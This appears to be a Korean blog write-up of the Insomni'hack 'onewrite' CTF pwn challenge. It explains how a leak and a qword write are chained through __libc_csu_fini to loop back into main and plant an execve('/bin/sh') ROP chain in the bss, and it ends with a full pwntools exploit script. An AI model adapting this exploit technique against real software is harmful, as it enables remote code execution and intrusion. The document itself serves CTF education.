Description

File

onewrite

 is here
difficulty: easy
_ nc onewrite.teaser.insomnihack.ch 1337

간단한 문제입니다.

All you need to pwn nowadays is a leak and a qword write they say...
What do you want to leak ?
1. stack
2. pie
 > 1
0x7fff979bf4a0
address : 140735736968352   
data : 12345678

프로그램을 실행하면 stack 이나 do_leak 함수의 주소(pie)를 선택하여 둘 중 하나를 leak할 수 있습니다. 

그 후,  do_overwrite 함수를 통해 임의의 주소에 8 byte를 쓸 수 있게됩니다. 

[*] '/home/myria/CTF/Insomni_hack/onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

and binary is "statically linked"

그러나 바이너리가 정적링크(statically linked)이기 때문에 stack 과 pie 둘 다 leak할 필요가 있습니다.
공격은 아래와 같이 진행됩니다.

  1. Leak PIE address
  2. Overwrite pie_addr + 0x2a55a3 with main address
  3. Program end. And the exit will be called after main returns.
    (it call __libc_csu_fini function)
  4. __libc_csu_fini function call QWORD [pie_addr + 0x2a55a3]. so we again jump to main function.
  5. Leak Stack address
  6. Write a ropchain in the bss
  7. Jump ropchain
  8. Get Shell

main함수가 끝나고 exit함수가 호출되는데, 이 exit함수에서 다시 __libc_csu_fini 가 호출됩니다. 여기 <__ libc_csu_fini+40>에 있는 call QWORD PTR [rbp + rbx*8+0x0] 인스트럭션을 통해 다시 main 함수로 점프할 수 있습니다.


6. Write a 'ropchain' in the 'bss' 이 부분이 어렵습니다. 임의의 주소에 8바이트를 쓰고 다시 한번 main함수로 ret 조작없이 돌아올 수 있어야합니다. 

return address를 조작할 때, 함수의 프롤로그에필로그를 적절히 생략되게 조작하면 우리는 stack을 조절할 수 있습니다.

main 함수의 반환 주소를 조작하고 do_leak 함수의 반환 주소를 조작합니다. (sub rsp, 0x18, rsp, 0x18 또는 sub rsp, 0x8, add rsp, 0x8)

그러면 스택은 아래와 같이 구성됩니다. 위 두 작업을 통해 return 주소 조작없이 임의의 주소에 8byte를 쓸 수 있는 기회를 한번 얻었습니다.

이제 남은 것은 간단합니다. ropchain을 만들고 pop rsp; ret을 사용하여 ropchain을 실행하면 됩니다.

English writeup

The full exploit code

from pwn import *

#conn = remote("onewrite.teaser.insomnihack.ch", 1337)
conn = process("onewrite")

def leak(select):
   conn.recvuntil(" > ")
   conn.sendline(str(select))
   leak_addr = int(conn.recvline().strip(), 16)
   return leak_addr

def write(addr, data):
   conn.recvuntil("address : ")
   conn.send(str(addr))
   conn.recvuntil("data : ")
   conn.send(data)

## Stage 1
# do_leak func address leak
pie_addr = leak(2)
log.info("pie_address : " + hex(pie_addr))

target = pie_addr + 0x2a55a3 # rbp+rbx*8+0x0   //   call QWORD PTR [rbp+rbx*8+0x0]
main = pie_addr + 0xa3		# main function address
write(target, p64(main))

## Stage 2
# stack_address leak
stack_addr = leak(1)
target = stack_addr  + 0x28	# return address (main function)
log.info("stack_address : " + hex(stack_addr))
write(target, p64(main))


def write_arbitrary(addr, data):
   # stack_address += 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x28
   write(target, p64(main))

   # stack_address -= 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x18
   write(target, p64(main))

   # main_ret => main
   # free write! and return Main
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   log.info("writing")
   write(addr, data)	# free write

# rop_gadget
pie_base = pie_addr - 0x000008A15
pop_rdi = pie_base + 0x000858fb
pop_rsi = pie_base + 0x0008551a
pop_rdx = pie_base + 0x000484c5
pop_rax = pie_base + 0x0004654c
syscall = pie_base + 0x00088834

bss_address = pie_base + 0x2B38D0

log.info("pie_base : " + hex(pie_base))

# write "/bin/sh" to BSS
write_arbitrary(bss_address, "/bin/sh\x00")

idx = 2
def rop(data):
   global idx
   write_arbitrary(bss_address + idx*8, p64(data))
   idx+=1

# write rop_chain to BSS
rop(pop_rdi)
rop(bss_address)
rop(pop_rsi)
rop(0)
rop(pop_rdx)
rop(0)
rop(pop_rax)
rop(59)
rop(syscall)

def trigger_rop():
   stack_addr = leak(1)
   target = stack_addr  + 0x28
   log.info("stack_address : " + hex(stack_addr))
   write(target, p64(main))

   pop_rsp = pie_base + 0x00087c46
   rop_chain = bss_address + 0x10

   # jump ropchain
   write_arbitrary(stack_addr + 0x40, p64(pop_rsp))
   write_arbitrary(stack_addr + 0x48, p64(rop_chain))

trigger_rop()
leak(1)
write(1,"id\n")

conn.interactive()


'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13

+ Recent posts